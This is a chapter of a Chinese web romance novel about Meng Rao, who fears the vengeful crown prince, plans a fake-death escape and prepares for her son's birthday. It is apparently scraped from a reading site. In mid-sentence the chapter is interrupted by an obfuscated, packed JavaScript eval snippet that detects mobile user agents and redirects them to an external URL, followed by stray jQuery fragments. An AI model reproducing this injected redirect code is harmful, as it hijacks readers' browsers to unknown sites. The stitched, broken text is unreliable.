第167章 传言

作品:《揣崽跑路,被我抛弃的太子登基了

    汝阳侯府,孟娆的小院内。


    “姑娘,外头出事了!”冰巧一阵风似的从外头卷进来,脸都白了,惊魂未定的样子。


    孟娆正坐在临窗的暖炕上翻看医书,闻声抬起头,见她这般模样,眉梢微动。


    “怎么了?天塌了还是地陷了,慌成这样。”


    “比天塌了还吓人!”冰巧喘了口气,凑到跟前,声音压得低低的,跟做贼似的,“外头都传疯了,说太子殿下昨日在醉仙楼,让人把一个姑娘的腿给硬生生打断了,可吓人了!”


    孟娆翻书的手指一顿,抬起头,眼中掠过一丝诧异。


    “哦?怎么回事?”


    冰巧见孟娆愿意听,赶紧把自己从街坊、门房、买菜婆子那儿听来的零碎消息,一股脑儿倒了出来。


    “听说是个叫什么王晓的,是安王带去献艺的,至于原因,说法可就多了去了。”冰巧掰着手指头,脸上神色变幻。


    “有说她不懂规矩冲撞了贵人,有说她举止轻浮惹了厌弃,还有……还有……”她迟疑了一下,眼神偷偷瞟着孟娆的脸色。


    “还有说得更邪乎的,说那女子眉眼身段,隐约有几分像姑娘您!”她顿了顿,见孟娆神色不变,才继续道:“都说殿下近来脾气越发莫测,手段也越发狠辣了,姑娘,您说会不会是……是因为……”


    她没敢说完,但眼神里的担忧明明白白。


    孟娆握着书卷的指尖微微收紧,纸张边缘起了细微的褶皱。


    冰巧没说出来的话,她听懂了。


    因为像她?所以格外招恨,甚至到了要打断腿的地步?


    这传言听着是荒唐,可放在如今的顾鹤白身上,她竟觉得,不是没可能。


    那个男人恨她恨到什么地步,她比谁都清楚。


    那股恨意憋了五年,早就发酵得变了味,又偏执又扭曲。


    他现在位高权重,说一不二,真干出点常人无法理解的狠事,一点也不奇怪。


    这么一想,她心里立刻沉了下来。


    她倒不是同情那个素未谋面的王晓,只是今天他能因为人长得有点像她,就迁怒到打断别人的腿。


    来日若知晓念儿的**,知晓她多年的欺瞒,又会如何?


    打断腿恐怕都是轻的了,以他的性情,届时滔**火之下,她和念儿……


    孟娆不敢深想,只觉得一股寒气从脚底直窜上来。


    不能再抱有任何侥幸心理了,得加快动作了。


    只是,离开的计划却卡在了一个关键环节。


    假死药还缺一味主药,幽冥花。


    这花罕见得很,毒性又猛,用量稍微差一点就能真要人命,可偏偏是做出能瞒天过海假死状态的关键。


    没有它,整个计划就进行不下去。


    “冰巧,”孟娆定了定神,将医书轻轻合上,“之前让你打听的药材,再加紧些,价钱不是问题,但务必谨慎,绝不能让人察觉是我们在找。”


    “是,姑娘,奴婢明白。”冰巧连忙应下,脸上也多了几分凝重。


    孟娆抬手揉了揉发胀的太阳穴,只觉得前路一片灰蒙蒙的,每一步都难。


    正心烦着,她不经意地一抬眼,目光落向窗外。


    院子里,孟念正蹲在沙坑边,手里拿着一截小树枝,在平整的沙地上歪歪扭扭地练习写字。


    冬日的暖阳落在他身子上,给他柔软的发顶镀上了一层毛茸茸的金边,小脸被晒得红扑扑的,神情专注,嘴唇还随着笔画无声地嚅动着。


    看着这一幕,孟娆的心瞬间软了下来。


    再过几日,就是念儿的生辰了。


    时间过得真快,昨日那个还在襁褓中嗷嗷待哺,需要她彻夜呵护的婴孩,转眼间,已经能跑能跳,开始识字明理了。


    想起这五年来无数个提心吊胆的日夜,孟娆心中涌起一股难以言喻的酸涩。


    无论如何,刀山火海也好,龙潭虎穴也罢,她一定要给念儿搏出一个安稳的未来。


    她深深吸了一口气,压下心头的纷乱与焦虑,强打起精神。


    日子总要过下去,计划也要一步步推进。


    这日午后,天气正好。


    孟娆没叫丫鬟伺


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844736|189324||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    候,自己坐在书案前,安静地忙活着。


    她取出一块上好的松烟墨锭,又选了几支细韧的兔毫,准备亲手为孟念做一套笔墨。


    小家伙最近对写字兴趣正浓,用她亲手做的,总归是不一样的。


    心里这么想着,手上的动作也格外轻缓。


    她低着头,专注地调和胶液,将兔毫一根根精心梳理,嵌入笔杆。


    阳光落在她半边脸上,勾勒出柔和的侧影。


    窗外那些纷乱的传言,宫里那位太子殿下的雷霆之怒,仿佛都被隔在了这小小暖阁之外,暂时侵扰不到这片宁静。


    此刻,她只是一个想给孩子准备点特别东西的母亲。


    孟念就乖乖地坐在一旁的小凳子上,手里摆弄着几个木雕的小动物,不时抬头看看孟娆,黑葡萄似的大眼睛里满是依赖和满足。


    “姑姑,这个墨好香。”小家伙吸了吸鼻子,小声说。


    孟娆抬眼,对他笑了笑:“嗯,这是松烟墨,念儿喜欢吗?”


    “喜欢!”孟念用力点头,“等念儿学会了写好多好多字,就用姑姑做的笔和墨写!”


    “好。”孟娆心中微软,伸手摸了摸他的头,“姑姑等着念儿写出漂亮的字。”


    做好了笔墨,孟娆又思忖着,念儿生辰那日,需向夫子告假一日。


    虽只是小事,但该有的礼数不能废。


    等周夫子上完课,孟娆亲自把他送到小院门口,语气温和客气。


    “夫子,过两日便是念儿的生辰,那日可否向您告假一日?”


    这本是件寻常小事,夫子自然无有不允,笑着应下。


    “夫人慈母心肠,自然使得。”


    然而,就是这么一句再普通不过的话,竟也一丝不差地传到了东宫。


    “主子。”暗卫禀报道:“汝阳侯府那边,孟夫人今日向孟念的夫子告假了,说是小公子生辰将至,需告假一日。”


    顾鹤白正在批阅奏章,听完暗卫低声禀报后,执笔的手微微一顿。


    生辰?呵。


    那他怎么能缺席呢?